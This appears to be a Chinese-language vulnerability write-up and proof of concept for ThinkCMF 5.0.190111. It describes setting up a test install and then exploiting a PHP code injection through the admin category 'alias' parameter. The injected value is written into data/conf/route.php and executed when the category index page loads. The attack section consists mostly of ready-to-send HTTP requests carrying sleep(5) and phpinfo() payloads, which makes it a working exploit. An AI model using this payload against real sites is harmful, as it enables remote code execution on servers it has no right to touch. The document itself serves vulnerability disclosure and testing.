|
||
|
||
# 0x00 环境搭建
|
||
|
||
首先去thinkcmf下载5.0的最新版
|
||
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
|
||
切换到web根目录下，比如/var/www，然后新建一个目录：ThinkCMF-5.0.190111
|
||
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php，将其中的
|
||
|
||
```
|
||
define('CMF_ROOT', __DIR__ . '/../');
|
||
```
|
||
|
||
修改为
|
||
|
||
```
|
||
define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
|
||
```
|
||
|
||
然后一步步完成安装。

|
||
# 0x01 利用过程：
|
||
|
||
后台登录状态下，
|
||
1、将payload插入数据库并读取然后写入data/conf/route.php文件
|
||
|
||
```
|
||
POST /portal/admin_category/addpost.html
|
||
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
|
||
```
|
||
|
||
2、然后访问：
|
||
|
||
```
|
||
/portal/admin_category/index.html
|
||
```
|
||
|
||
触发
|
||
|
||
```
|
||
include data/conf/route.php
|
||
```
|
||
|
||
操作，执行payload。下图以执行sleep(5)作为演示。
|
||
|
||
|
||
|
||
## POC
|
||
|
||
```raw
|
||
POST /portal/admin_category/addpost.html HTTP/1.1
|
||
Host: 192.168.170.209
|
||
Content-Length: 183
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
|
||
Connection: close
|
||
|
||
parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2
|
||
```
